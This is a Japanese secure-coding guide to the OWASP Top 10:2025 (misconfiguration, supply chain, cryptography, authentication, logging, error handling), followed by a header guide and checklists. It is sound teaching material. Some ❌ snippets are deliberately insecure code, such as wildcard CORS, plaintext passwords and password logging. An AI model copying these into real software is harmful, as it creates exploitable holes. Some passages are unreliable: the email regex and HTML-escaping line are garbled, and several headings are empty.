A02:2025 — Security Misconfiguration / セキュリティ設定ミス(#2新順位)

影響度： 非常に高い

背景・仕組み： セキュリティ設定ミスは、クラウドインフラが複雑化した現在、最頻出の脆弱性です。デバッグモード有効、デフォルト認証情報、不必要なサービス公開、CORS設定が広すぎるなど、開発時の設定が本番環境に持ち込まれることが主原因です。 OWASP 2025では、平均で 3.00% のアプリケーションに、このカテゴリの16個のCWEのいずれかが存在したとされています。

代表的なCWE：

実世界の事例：

典型的な設定ミス：

❌ デバッグモードが本番で有効
❌ デフォルト認証情報(admin/admin)が変更されていない
❌ HTTPヘッダーがセキュリティ情報を公開
❌ AWS S3 / GCSバケット権限が "Everyone" に設定
❌ CORS: Access-Control-Allow-Origin: * (全オリジン許可)
❌ SQLサーバーが外部ネットワークから接続可能
❌ APIキーが環境変数ではなくソースコードに埋め込み

対策実装例：

次の例では、設定ミスの代表として CORS の広すぎる許可をどう狭めるかを見ます。

// ❌ セキュアではないCORS設定
app.use(cors({ origin: '*' }));

// ✅ セキュアなCORS設定
const whitelist = ['https://trusted-domain.com', 'https://app.example.com'];
app.use(cors({
  origin: function(origin, callback) {
    if (whitelist.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('CORS policy violated'));
    }
  },
  credentials: true
}));

# ❌ デフォルト認証情報をそのまま使用
npm install my-package --auth-user=admin --auth-pass=admin

# ✅ 環境変数で管理
export DB_USER=$DB_USER
export DB_PASS=$DB_PASS_ENCRYPTED

対策チェックリスト：

• [ ] 開発環境と本番環境の設定を完全分離(.env.local vs .env.production)

• [ ] デバッグモード・詳細エラーログは本番で無効

• [ ] セキュリティヘッダーを全エンドポイントで設定(HSTS, CSP, X-Frame-Options)

• [ ] デフォルト認証情報(SSHキー、DBパスワード)を変更

• [ ] 不要なコンポーネント・サービスを削除

• [ ] 定期的な設定監査(Infrastructure as Codeで自動検証)

• [ ] クラウドストレージ権限を定期的に監視(Prowler, ScoutSuite等)

• A02 Security Misconfiguration - OWASP Top 10:2025

• WSTG v4.2 - Configuration and Deployment Management Testing

• CIS Controls v8.1

A03:2025 — Software Supply Chain Failures / ソフトウェアサプライチェーン障害(#3新規追加)

影響度： 極めて高い

背景・仕組み： 2025年の新規カテゴリ。npm、Docker Hub、GitHub Actionsなど、ソフトウェア流通経路が攻撃対象化しています。2021年の「Vulnerable and Outdated Components」を拡張し、依存関係だけでなくbuild systemやdistribution infrastructureまで含めて捉えるカテゴリです。

代表的なCWE：

実世界の事例：

攻撃ベクトル：

1. タイポスクワッティング：
   本物：lodash-es
   偽物：lodash_esまたはloadash-es → typosquatting

2. 依存関係の混乱 (Dependency Confusion)：
   npm install lodash-es
   → 内部レジストリではなく、公開npmパッケージを取得
   → 攻撃者が公開版にマルウェア埋め込み

3. メンテナー垂直化：
   ライブラリメンテナーのアカウントが侵害
   → 正規のアップデートにバックドア組み込み

4. ビルド時間の改ざん(Build-time Compromise)：
   Dockerコンテナイメージが改ざんされ、配布

対策実装例：

# ❌ バージョン固定なし(常に最新をインストール)
npm install lodash

# ✅ 正確なバージョン指定(package-lock.json使用)
npm install lodash@4.17.21
npm ci  # 本番ではnpm installではなくnpm ciを使用

# ✅ チェックサム検証(npm)
npm audit
npm audit signatures  # パッケージ署名検証

# ✅ private registry + whitelist
npm set registry https://internal-npm.company.com
npm config set @company:registry https://internal-npm.company.com

# ✅ Dependency Confusion対策(npm config)
npmScopes:
  company:
    npmRegistryServer: 'https://internal-npm.company.com'

対策チェックリスト：

• [ ] package-lock.json / yarn.lock をgitに含める

• [ ] npm ci で本番デプロイ(npm install ではなく)

• [ ] npm audit を定期実行、脆弱性は1日以内に修正

• [ ] 依存関係の署名検証：npm audit signatures

• [ ] private registryのホワイトリスト設定

• [ ] メンテナーのアカウント保護：MFA、IP制限

• [ ] Dockerイメージはダイジェスト で固定：image:tag@sha256:...

• [ ] ソフトウェア部品表(SBOM)生成・管理：CycloneDX、SPDX

• A03 Software Supply Chain Failures - OWASP Top 10:2025

• Vulnerable Dependency Management Cheat Sheet - OWASP

• Trivy

A04:2025 — Cryptographic Failures / 暗号化の失敗(#4順位変動)

影響度： 非常に高い

背景・仕組み： 暗号化の失敗は、機密データ(パスワード、クレジット情報、個人情報)が平文で保存・転送される状態です。弱い暗号化アルゴリズム(MD5、SHA-1)、不適切な鍵管理、TLS未使用が含まれます。 暗号化の失敗は、保存時・転送時・鍵管理のどこか一つでも崩れると影響が大きくなります。アルゴリズム選定だけでなく、鍵の保管、ローテーション、TLS設定、秘密情報のログ混入を合わせて確認します。

代表的なCWE：

脆弱な暗号化：

実装例：

次のコードは、平文保存と安全なハッシュ化の違いを、最小限の形で見比べるための例です。

// ❌ 脆弱：TLS使用なし、パスワード平文保存
const user = {
  email: 'user@example.com',
  password: 'MyPassword123'  // 平文で保存
};
app.listen(80);  // HTTP(暗号化なし)

// ✅ 安全：TLS + bcrypt
const bcrypt = require('bcrypt');
const saltRounds = 12;

const hashedPassword = await bcrypt.hash('MyPassword123', saltRounds);
const user = {
  email: 'user@example.com',
  passwordHash: hashedPassword
};
app.listen(443, { key, cert });  // HTTPS

• A04 Cryptographic Failures - OWASP Top 10:2025
• WSTG v4.2 - Testing for Weak Transport Layer Security
• WSTG v4.2 - Testing for Sensitive Information Sent via Unencrypted Channels

A05:2025 — Injection / インジェクション(#5順位変動)

内容： SQLインジェクション、NoSQLインジェクション、OSコマンドインジェクション、XXE、SSTI

代表的なCWE：

(詳細は 包括的な攻撃手法30+ 詳細ガイド の 1. インジェクション攻撃(7種類) セクション参照)

• OWASP Web Security Testing Guide (WSTG)
• SQL Injection Prevention Cheat Sheet - OWASP
• SQL Injection - PortSwigger Web Security Academy

A06:2025 — Insecure Design / 不適切な設計(#6)

内容： ビジネスロジック脆弱性、レース条件、脅威モデリング不足

代表的なCWE：

(詳細は 包括的な攻撃手法30+ 詳細ガイド の 5.4ビジネスロジック脆弱性 、6.4レース条件 セクションを参照)

• OWASP ASVS 5.0.0
• OWASP Web Security Testing Guide (WSTG)

A07:2025 — Authentication Failures / 認証の失敗(#7)

背景・仕組み： 認証の失敗は、セッション管理の脆弱性、パスワードリセット脆弱性、MFA不足、認証器管理不備が含まれます。OWASP 2025では旧称の「Identification and Authentication Failures」から、より実態に近い「Authentication Failures」へ名前が調整されました。

代表的なCWE：

実世界の事例：

安全なセッション管理実装：

// ✅ セキュアなセッション設定
app.use(session({
  secret: process.env.SESSION_SECRET,  // 強力なランダムシークレット
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,          // JavaScriptからアクセス不可
    secure: true,            // HTTPSのみ
    sameSite: 'Strict',      // CSRF対策
    maxAge: 15 * 60 * 1000   // 15分で自動ログアウト
  }
}));

// ✅ ログイン後、新しいセッションIDを生成
app.post('/login', (req, res) => {
  const user = authenticateUser(req.body);
  req.session.regenerate((err) => {  // 重要：新しいセッション生成
    req.session.userId = user.id;
    res.redirect('/dashboard');
  });
});

// ✅ JWT署名検証
const verifyToken = (token, secret) => {
  try {
    return jwt.verify(token, secret, { algorithms: ['HS256'] });
  } catch (err) {
    throw new Error('Invalid token');
  }
};

• A07 Authentication Failures - OWASP Top 10:2025
• Web Authentication Level 3 (WebAuthn, Candidate Recommendation Snapshot)

A08:2025 — Software or Data Integrity Failures / ソフトウェアおよびデータ整合性障害(#8)

影響度： 非常に高い

背景・仕組み： ソフトウェアおよびデータの整合性障害は、CI/CDパイプライン、更新メカニズム、重要なデータストレージ、またはソフトウェアリポジトリの完全性が検証されない場合に発生します。署名なしのソフトウェアアップデート、信頼できないコード リポジトリ、CI/CDパイプラインのセキュリティ不足が含まれます。 このカテゴリはA03と近いものの、supply chain全体というより、より低い層での「信頼境界と整合性検証の失敗」に重点があります。

代表的なCWE：

実世界の事例：

脆弱な実装：

❌ ソフトウェア署名なし
❌ デジタル署名検証なし
❌ CI/CDパイプラインへのアクセス制御不足
❌ アーティファクトのチェックサム検証なし
❌ 信頼されていない供給源からのコンポーネント使用
❌ 過度な権限を持つCI/CDアカウント

対策実装例：

# ✅ NPMパッケージの署名検証
npm audit signatures

# ✅ Dockerイメージのダイジェスト固定(改ざん検出)
docker pull myregistry/myimage@sha256:abc123def456...

# ✅ デジタル署名によるコード検証
gpg --verify code.tar.gz.sig code.tar.gz

# ✅ CI/CD環境変数の暗号化
export DATABASE_PASSWORD=$(aws secretsmanager get-secret-value --secret-id prod/db/password)

# ✅ ソフトウェア部品表(SBOM)生成と管理
syft registry:myregistry/myimage > sbom.json

対策チェックリスト：

• [ ] すべてのソフトウェアアップデートにデジタル署名を実装

• [ ] CI/CDパイプラインへのアクセスをMFAで保護

• [ ] CI/CD環境変数・シークレットを暗号化管理

• [ ] アーティファクト(ビルド成果物)のチェックサム検証

• [ ] コンポーネント署名の自動検証(npm, Docker, etc.)

• [ ] SBOM(ソフトウェア部品表)生成・管理

• [ ] パイプラインのログ記録・監査

• [ ] サードパーティ依存関係の定期監査

• A08 Software or Data Integrity Failures - OWASP Top 10:2025

• CVSS v4.0 Specification - FIRST

• CWE Top 25 - MITRE

A09:2025 — Security Logging & Alerting Failures / セキュリティログと監視の失敗(#9)

影響度： 非常に高い

背景・仕組み： セキュリティログと監視の失敗は、攻撃や不正アクセスが発生しても検知できず、事件対応が遅延する状況を指します。ログが記録されない、ログが不十分、または監視・アラートが機能しない場合、攻撃者は長期間検知されない状態で活動できます。

代表的なCWE：

実世界の事例：

ログに記録されるべき重要イベント：

脆弱なログ実装：

// ❌ ログなし
app.post('/api/transfer', (req, res) => {
  const amount = req.body.amount;
  db.transfer(amount);  // ログ記録がない
  res.json({ success: true });
});

// ❌ 機密情報がログに記録される
app.post('/login', (req, res) => {
  logger.info(`Login attempt: ${req.body.email}, ${req.body.password}`);  // パスワード漏洩！
});

// ❌ ログレベルが不適切
logger.debug(`User ${user.id} transferred $${amount}`);  // デバッグレベルは本番で無効化される

安全なログ実装：

// ✅ 重要イベントをログに記録
const logger = require('winston');

app.post('/api/transfer', (req, res) => {
  const amount = req.body.amount;
  const userId = req.user.id;

  try {
    db.transfer(amount);

    // ✅ 重要イベントを記録
    logger.info('Fund transfer completed', {
      userId: userId,
      amount: amount,
      timestamp: new Date().toISOString(),
      sourceIP: req.ip
    });

    res.json({ success: true });
  } catch (err) {
    // ✅ エラーイベントを記録(技術詳細のみサーバー側)
    logger.error('Transfer failed', {
      userId: userId,
      error: err.message,
      timestamp: new Date().toISOString(),
      sourceIP: req.ip
    });

    // クライアントには一般メッセージのみ
    res.status(500).json({ error: 'Transfer failed' });
  }
});

// ✅ 認証失敗をログ記録
app.post('/login', (req, res) => {
  const email = req.body.email;

  const user = db.findUser(email);

  if (!user || !bcrypt.compareSync(req.body.password, user.passwordHash)) {
    // ✅ 失敗イベントを記録(パスワードは記録しない)
    logger.warn('Login failed', {
      email: email,
      reason: 'Invalid credentials',
      sourceIP: req.ip,
      timestamp: new Date().toISOString()
    });

    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // ✅ ログイン成功を記録
  logger.info('Login successful', {
    userId: user.id,
    email: email,
    sourceIP: req.ip,
    timestamp: new Date().toISOString()
  });

  req.session.userId = user.id;
  res.json({ success: true });
});

SIEM(Security Information and Event Management: セキュリティ情報イベント管理)の設定例：

アラートルール例：
1. ログイン失敗が5回以上 → アカウント一時ロック
2. APIエラーレートが10% を超過 → セキュリティチームに通知
3. 設定変更が発生 → 変更内容をログ + 承認者に確認メール
4. 未知のIPからのアクセス → リスク評価実施

対策チェックリスト：

• [ ] すべての認証・認可・データアクセスイベントをログ記録

• [ ] 機密情報(パスワード、APIキー、クレジット番号)をログに含めない

• [ ] ログは改ざん防止の仕組みで保護(Append-onlyストレージ)

• [ ] ログの中央集約(SIEM: Security Information and Event Management)

  • 例：Splunk、ELK、Datadogなど

• [ ] ログの長期保存(最低1年間、コンプライアンス要件に応じて)

• [ ] 異常検知ルール実装(レート制限、エラー急増、不正パターン)

• [ ] アラート通知設定(Slack、PagerDuty、メール)

• [ ] 定期的なログ分析・セキュリティ監査

• [ ] インシデント対応計画の作成・訓練

• Logging Cheat Sheet - OWASP

• CIS Controls v8.1

• MITRE ATT&CK

A10:2025 — Mishandling of Exceptional Conditions / 例外処理の不適切な取り扱い(#10新規追加)

影響度： 中程度～高い

背景・仕組み： 2025年の新規カテゴリ。エラーハンドリング不十分、例外処理なし、失敗時のセキュリティ制御喪失が含まれます。異常条件に遭遇したときにfail-openする、ロジックが崩れる、異常系で安全性が維持されない問題群として読むと理解しやすいです。

代表的なCWE：

実世界の事例：

脆弱なエラー処理：

// ❌ セキュアではない
try {
  const user = await db.query('SELECT * FROM users WHERE id = ?', [userId]);
} catch (err) {
  console.log(err);  // スタックトレース・SQLが漏洩
  res.json({ error: err.message });  // 技術詳細をクライアントに返す
}

// ✅ セキュアなエラー処理
try {
  const user = await db.query('SELECT * FROM users WHERE id = ?', [userId]);
} catch (err) {
  logger.error('Database error', { userId, error: err });  // サーバー側のみ詳細ログ
  res.status(500).json({ error: 'Internal Server Error' });  // クライアントは一般メッセージ
}

対策チェックリスト：

• [ ] すべての例外を try-catch で処理

• [ ] エラーメッセージは技術詳細を含めない

• [ ] ログは サーバー側のみ詳細情報を記録

• [ ] リソース漏れ防止(ファイル、DB接続の明示的クローズ)

• [ ] トランザクション管理：全成功or全失敗

• [ ] 監視・アラート：エラーレート急増時に通知

• A10 Mishandling of Exceptional Conditions - OWASP Top 10:2025

• WSTG v4.2 - Testing for Improper Error Handling

認証脆弱性と対策

この章は、ログイン、セッション、MFA、JWTのように、実装で誤りやすく影響の大きい認証まわりをまとめて見直すための章です。

パスワード管理のベストプラクティス

強力なハッシュ関数の使用：

パスワード格納の実装例：

多要素認証 (MFA) の実装

MFAはパスワード盗聴・ブルートフォース攻撃の対策として最も効果的です。 NIST SP 800-63B-4でも、認証器管理を含む認証強化の重要性が示されています。

実装順序(推奨)：

1. WebAuthn / Passkeys — 耐フィッシング性が高く、現代的な最有力候補
2. TOTP(Google Authenticatorなど) — 導入しやすく、SMSより安全
3. メール確認コード — 補助用途として有効
4. SMS — 利便性は高いが、SIMスワップ等のリスクがある

WebAuthn / Passkeys は、端末に保存された秘密鍵を使って本人確認する方式で、パスワードを送らない点が強みです。TOTP は一定時間ごとに変わるワンタイムコードを使う方式です。

JWTセキュア設定

実装メモ：

• JWTは認証の実装手段の1つであり、それ自体が認可を保証するわけではない
• 高価値リソース保護をAPIキーだけに依存しない
• セッションベースでもトークンベースでも、権限判断はサーバー側で行う

HTTPセキュリティヘッダー完全ガイド

Webサーバーが送信するセキュリティヘッダーは、ブラウザの動作を制御し、多くの攻撃を防ぎます。 ここでは「何の攻撃を防ぐためのヘッダーか」を対応づけながら、実装時に最低限押さえたい構成を先に示します。

推奨ヘッダー構成

# SSL/TLS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# XSS対策
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-ancestors 'none'
Content-Security-Policy-Report-Only: default-src 'self'; report-uri https://example.com/csp-report; report-to csp-endpoint

# Cookie属性(CSRF対策)
Set-Cookie: sessionId=...; Secure; HttpOnly; SameSite=Strict

# キャッシュ対策
Cache-Control: no-store, max-age=0
Pragma: no-cache

# CORS
Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true

ヘッダー詳細解説

Strict-Transport-Security (HSTS)

X-Content-Type-Options: nosniff

Content-Security-Policy (CSP)

frame-ancestors は「どのサイトからこのページをiframeに埋め込めるか」を決める指示です。Content-Security-Policy-Report-Only は、まだ遮断せず違反だけを報告して、設定を安全に慣らすための試運転用ヘッダーです。

実装チェックリスト

この章は、本文で説明した内容を開発・レビュー時に機械的に確認できるよう、実務向けの確認項目に落とし直したものです。

入力検証・出力エンコーディング

• [ ] すべてのユーザー入力を検証(型・長さ・形式)

  • ブラウザ側の検証だけでなく、サーバー側でも必ず検証を実施
  • 型チェック：数値フィールドに文字列が送信されていないか確認
  • 長さチェック：最大文字数を超える入力を拒否
  • 形式チェック：メールは @ を含む、電話番号は数字と + のみなど
  • ホワイトリスト方式：許可する値を明確に定義

• [ ] SQLクエリはパラメータ化クエリを使用

  • 危険："SELECT * FROM users WHERE id = " + userId
  • 安全：db.query("SELECT * FROM users WHERE id = ?", [userId]) または db.query("SELECT * FROM users WHERE id = :id", {id: userId})
  • パラメータ化クエリにより、SQLインジェクション が自動的に防止される

• [ ] HTML出力時にHTMLエンコーディング

  • < を <、> を >、" を "、' を ' に変換
  • XSS攻撃で埋め込まれたスクリプトタグがテキストとして表示される
  • ライブラリ使用：DOMPurify (JavaScript)、xss (Node.js)、html-escape (Python) など
  • パラメータ化クエリ実装例：
    • Node.js mysql2：conn.execute('SELECT * FROM users WHERE id = ?', [userId])
    • Python psycopg2：cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))
    • Java JDBC：stmt.setInt(1, userId)
  • 長さチェック：DB スキーマと一貫（VARCHAR(255) なら 255 文字まで）

• [ ] JavaScript出力時にJavaScriptエスケープ

  • JSONシリアライゼーション時に特殊文字をエスケープ
  • 改行、クォート、バックスラッシュなどを適切に処理
  • JSON.stringify() を使用して安全に出力

• [ ] URLパラメータのホワイトリスト検証

  • リダイレクト先URLは必ずホワイトリストと照合
  • window.location.href = userProvidedUrl は危険
  • 許可されたドメインのみにリダイレクト
  • 正規表現ホワイトリスト実装例：
    • メール：^[a-zA-Z0-9.!#$%&'*+/=?^_{|}~-]+@a-zA-Z0-9?(?:.a-zA-Z0-9?)*
      Menu
    • URL：^https?://[^\s/$.?#].[^\s]*$ （簡易版）
    • 電話番号（日本）：^0\d{1,4}-?\d{1,4}-?\d{4}$

• [ ] ファイルアップロード：拡張子・MIMEタイプのホワイトリスト

  • 拡張子だけの判定は不十分(.php.jpgなど)
  • 危険な拡張子ブロック：.php、.phtml、.php3-5、.phar、.pht、.phps、.shtml、.exe、.com、.bat、.sh
  • MIMEタイプ検証：Content-Type ヘッダー確認（クライアント送信なので信頼性低）
  • マジックバイト検証：ファイル先頭数バイトシグネチャ確認（JPEG: FF D8 FF、PNG: 89 50 4E 47、PDF: 25 50 44 46、ZIP: 50 4B 03 04）
  • アップロード先設定：www root 外のディレクトリ、実行権限明示削除（.htaccess で php 禁止など）
  • ファイル名ランダム化：uuid.ext 形式、元のファイル名は DB メタデータのみ保存
  • ウイルススキャン（大規模サービス）：ClamAV、VirusTotal API 併用

認証・認可

• [ ] パスワードはbcrypt/argon2でハッシング(ソルト付き)

  • SHA-256、MD5は認証用に不適切(高速すぎてブルートフォース攻撃の対象)
  • bcryptのroundsを最低12に設定(計算コストを増加)。実務では16ラウンド（2^16反復）が目安
  • argon2は更に強力(メモリコスト19 MiB以上、時間コスト3反復以上推奨)
  • saltは自動的に生成・保存される
  • パスワード検証は constant-time comparison を使用（PHP password_verify()、Python secrets.compare_digest()など）
  • NIST SP800-63B-4 ガイドライン：MFA有効時は最小8文字、未実装時は15文字以上、最大長は64文字以上推奨
  • 文字種制限なし（unicode、空白を含む全文字を許可）

• [ ] MFA実装(WebAuthn / PasskeysまたはTOTPを推奨)

  • パスワード盗聴でも2段階目を突破できない
  • WebAuthn / Passkeys（W3C WebAuthn Level 3、FIDO2 / CTAP 2.1対応）：耐フィッシング性が最高クラス。iCloud Keychain、Google Password Manager など主要プラットフォームで同期対応
  • TOTP（RFC 6238）：30秒window、6桁PIN が標準。ライブラリ：pyotp (Python)、speakeasy (JavaScript)
  • SMS：セキュリティが低い(SIMスワップ攻撃の対象)。EU・金融機関では推奨度が低い
  • メール確認：バックアップ用途に
  • 優先順位：WebAuthn ≫ TOTP ≫ Email OTP ≫ SMS OTP

• [ ] JWT署名検証の必須化

  • jwt.decode() のみではなく、jwt.verify() を必ず実行（RFC 7519対応）
  • 署名アルゴリズムを明示的に指定({algorithms: ['HS256']})。ライブラリはデフォルトで “none” を拒否
  • none アルゴリズムは明示的に拒否
  • HS256 (HMAC-SHA256)：サーバー秘密鍵で署名、複数サーバー間鍵共有必要
  • RS256 (RSA-SHA256)：公開鍵認証、マイクロサービス構成に適切
  • kid (Key ID) ヘッダーで複数鍵ローテーション対応
  • **exp (有効期限)**は短期（15～30分）に設定
  • Payloadは暗号化されていない前提で扱い、機密情報（パスワード、SSN）を入れない。JWEで暗号化が必要な場合は別対応
  • 秘密鍵は環境変数で管理、ソースコードに埋め込まない

• [ ] セッションIDの十分なランダム化

  • 予測可能なID(連番、タイムスタンプ)は使用禁止
  • 十分なランダ性(最低256ビット推奨、128ビット最小限度)。CSPRNG使用：
    • Node.js: crypto.randomBytes(32)
    • Python: os.urandom(32)
    • Java: SecureRandom
    • PHP: random_bytes(32)
  • Cookie属性必須設定：
    • Secure：HTTPS送信のみ
    • HttpOnly：JavaScript アクセス不可（XSS対策）
    • SameSite=Strict：クロスサイトリクエストで送信しない（CSRF対策）
  • セッションローテーション：ログイン後・権限昇格時に新ID発行
  • タイムアウト設定：アイドル15～30分、絶対8時間程度

• [ ] ログイン試行のレート制限

  • アカウント単位：失敗3回で15分ロック、その後倍増（15分→30分→60分）
  • IP単位：失敗10回でIP を1時間ブロック
  • ハイブリッド対応：アカウントロックと併用で効果向上
  • 実装例：Redis で (account_id, failure_count, timestamp) を管理
  • CAPTCHA追加トリガー：失敗3回目以降（UX配慮も必須）
  • 事後通知：ログイン成功時にメール送信で不正アクセス検知を助支
  • ブルートフォース攻撃を実質的に不可能に
  • 正規ユーザーにはUXへの配慮

• [ ] パスワードリセットはトークン方式(有効期限付き)

  • セキュリティ質問(「最初のペットの名前は？」)は使用禁止
  • トークン：ランダム、有効期限15～30分
  • リセット前に現在のメールアドレス確認
  • 1回限りの使用(再利用禁止)

• [ ] 全エンドポイントで認可チェック実装

  • フロントエンドのUI制御だけでは不十分
  • サーバー側で各リクエストの権限を確認
  • ロールはデータベースから取得(JWTペイロードは信頼しない)

• [ ] APIはオブジェクト単位・機能単位でも認可チェック

  • OWASP API Security Top 10のBOLA(Broken Object Level Authorization: オブジェクト単位の認可不備) / BFLA(Broken Function Level Authorization: 機能単位の認可不備)を意識する
  • /users/123 の所有権確認だけでなく、返却フィールドや操作種別も検証
  • GraphQLではfield / mutation単位で認可確認

• [ ] IDOR対策(リソースのオーナーシップ確認)

  • /api/orders/123 へのアクセス時、ユーザーがこのオーダーの所有者か確認
  • SQLクエリに所有権条件を含める：WHERE id = ? AND user_id = ?
  • 404と403を区別しないことで、リソース存在の推測を防止

通信セキュリティ

• [ ] HTTPS/TLS 1.3を使用
  • HTTPは完全に廃止
  • TLS 1.0, 1.1は脆弱性が多いため使用禁止
  • TLS 1.3を優先し、少なくともTLS 1.2以上を維持
  • 自己署名証明書は本番環境で使用禁止

HTTPセキュリティヘッダー完全ガイド

主要なセキュリティヘッダーの実装方法：

Strict-Transport-Security (HSTS)

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

• max-age は秒単位（31536000 = 1年）
• preload で HSTS Preload List への登録を宣言
• ブラウザが強制的に HTTPS に昇格、SSL Stripping 攻撃を防止

Content-Security-Policy (CSP)

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; img-src https:; style-src 'unsafe-inline'

• script-src ‘unsafe-inline’ は XSS に弱いため、nonce-* または sha256-* を活用
• frame-ancestors ‘none’ でクリックジャッキング対策
• upgrade-insecure-requests で HTTP を HTTPS に自動昇格

X-Content-Type-Options

X-Content-Type-Options: nosniff

• ブラウザの MIME 型 sniffing を防止
• Content-Type ヘッダー値を強制

X-Frame-Options

X-Frame-Options: DENY

• このサイトを iframe に埋め込み禁止
• clickjacking 対策として通常必須

Referrer-Policy

Referrer-Policy: strict-origin-when-cross-origin

• Referer ヘッダーの送信制限

• クロスオリジン時は origin のみ送信

• プライバシー保護（クエリ文字列漏洩防止）

• [ ] ホストヘッダーのホワイトリスト検証

  • Hostヘッダーはクライアントが自由に設定可能
  • パスワードリセットメールのリンク生成時に安全でないHostを使うと、攻撃者のサイトにリダイレクト
  • 設定ファイルで許可されたホスト名を定義

• [ ] CORSを明示的に設定(Access-Control-Allow-Origin)

  • Access-Control-Allow-Origin: * は避ける(全オリジン許可)
  • 信頼できるドメインのみホワイトリスト
  • Access-Control-Allow-Credentials: true は慎重に（認証情報送信時のみ）
  • プリフライト要求（OPTIONS）での認可チェック漏れに注意

• [ ] SameSiteクッキー設定(CSRF対策)

  • SameSite=Strict：クロスサイトリクエストでクッキー送信しない（最も厳密）
  • SameSite=Lax：トップレベルナビゲーション（リンククリック）では送信（バランス型）
  • SameSite=None：常に送信（Secure フラグ必須、API向け）
  • RFC 6265bis で標準化、主要ブラウザが対応

• [ ] HSTSヘッダー設定

  • Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
  • ブラウザに「常にHTTPSで接続せよ」と指示
  • HTTPダウングレード攻撃を防止

データ保護

• [ ] 機密情報(パスワード、APIキー)のログ記録禁止

  • ログに保存されたら、ログファイルから漏洩する可能性
  • ログ出力前に機密情報をマスク
  • ユーザーID、メールアドレスくらいは記録してもOK

• [ ] 暗号化通信(HTTPS)を強制

  • HTTPからの自動リダイレクト
  • すべてのエンドポイントをHTTPS化
  • 非本番環境でもHTTPSを推奨

• [ ] キャッシュに機密情報が保存されないようコントロール

  • Cache-Control: no-store, max-age=0 でキャッシュを無効化
  • ブラウザキャッシュにクレジットカード番号が保存されるのを防止
  • 個人情報ページにはこのヘッダーを設定

• [ ] データベース接続ユーザーの最小権限化

  • アプリからDBへの接続ユーザーにSELECTのみ許可
  • 削除・更新が必要な場合、別の限定的なストアドプロシージャを使用
  • 万が一SQLインジェクション が発生しても被害を最小化

エラー・ログ管理

• [ ] エラーメッセージで技術情報を公開しない

  • ユーザー向けメッセージ：「ログインに失敗しました。メールアドレスとパスワードを確認してください。」など一般的メッセージ
  • サーバーログのみ：SQLエラー、スタックトレース、query_time、db_connection_details など詳細情報
  • **エラーID（UUID）**を返し、ログで追跡可能に
  • 攻撃者の情報収集を防止

• [ ] 監査ログ(誰が何をしたか)を記録

  • 必須項目：timestamp (ISO 8601)、user_id/user_name、action、resource_id、result (success/failure)
  • 付加情報：ip_address、user_agent、change_diff（データ変更内容）
  • 重要イベント：ログイン・ログアウト、データ変更、権限昇格、APIアクセス
  • 誰が何をしたか後で追跡可能に

• [ ] ログを改ざん防止の仕組みで保護

  • Append-only ストレージ：AWS CloudTrail、Azure Activity Log など
  • ログ集約システム転送：別サーバーの ELK (Elasticsearch-Logstash-Kibana)、Splunk など
  • ログファイル削除を技術的に禁止：ファイルシステム権限、Write-once-read-many (WORM) ストレージ
  • 不要なアクセスログ削除を防止

• [ ] 定期的なログ分析・異常検知

  • SIEM(Splunk、ELK)でリアルタイム分析
  • 異常パターン検知(ログイン失敗多発、データアクセス異常など)
  • アラート通知設定

依存関係管理

• [ ] npm audit を定期実行

  • CI/CDパイプラインに組み込み：コミット時、毎日スケジュール実行
  • 脆弱性検出時に即座に通知（Slack、GitHub Issues など）
  • 自動修正試行：npm audit fix、ただし互換性確認テスト必須
  • CRITICAL レベル：即座に修正・デプロイ、HIGH レベル：1週間以内

• [ ] 脆弱性が発見された依存関係を速やかに更新

  • CRITICAL レベル：即座に修正・デプロイ（24時間以内）
  • HIGH レベル：1週間以内
  • MEDIUM/LOW：定期メンテナンスウィンドウに実施
  • 更新前に、フル自動テスト、統合テスト、ステージング環境での動作確認
  • 破壊的変更（breaking change）に対応するコード修正計画も準備

• [ ] ライセンス確認(GPLなど制限的ライセンス除外)

  • GPLライセンスはコピーレフト(ソースコード公開義務)
  • 商用アプリケーションに非互換
  • MIT、Apache 2.0、BSDは自由度が高い

補足: OWASP API Security Top 10 との接続

OWASP API Security 2023 の主要リスク：

Web アプリケーションとの主な違い：

• API はレスポンス形式が JSON → エラーメッセージ / スタックトレース がそのまま攻撃情報に
• Session ではなく token (JWT) ベース認証 → exp / aud claim の検証が重要
• CORS プリフライト要求（OPTIONS）を悪用した情報漏洩
• GraphQL / SOAP / REST など複数プロトコル混在時の認可一貫性確保が複雑

デプロイ・運用

• [ ] デバッグモードは本番環境で無効

  • DEBUG=trueでスタックトレースが公開される
  • 開発環境のみで有効化
  • 本番環境では環境変数で制御

• [ ] デフォルト認証情報を変更

  • ルーター：admin/admin
  • データベース：root/root
  • SSH：ec2-userなど
  • 初期デプロイ時に必ず強力なパスワードに変更

• [ ] 定期的なセキュリティスキャン

  • 脆弱性スキャン（DAST）：週1回以上、Qualys、Nessus など
  • 依存関係スキャン：毎日、npm audit、Snyk、Trivy など
  • SAST（静的コード解析）：コミット時に自動実行、SonarQube、Semgrep など
  • Container スキャン：Trivy で Docker イメージのセキュリティチェック
  • 検出結果を SIEM（Splunk、ELK）に集約、異常検知設定

• [ ] ペネトレーションテストの実施(年1回以上)

  • 第三者のセキュリティ専門家による侵入テスト
  • 実際の攻撃シナリオをシミュレーション
  • 脆弱性レポートを受け取り、修正優先順位を決定

• [ ] セキュリティパッチの迅速な適用

  • OS、ウェブサーバー、フレームワークのセキュリティアップデート
  • CRITICALパッチ：24時間以内の適用
  • 定期メンテナンスウィンドウを設定

付録A: 重要CWE 50選

概要

CWE(Common Weakness Enumeration)について、MITREが公式に毎年公開しているのは Top 25 です。 この付録では、その公式Top 25を土台にしつつ、Webアプリ実装者が実務で遭遇しやすい項目を追加して 学習用に50件へ拡張 しています。

そのため、前半ほどMITREの公式ランキングとの整合が強く、後半は実装・学習上の重要性を重視した補足項目です。

重要CWE 50選 リスト

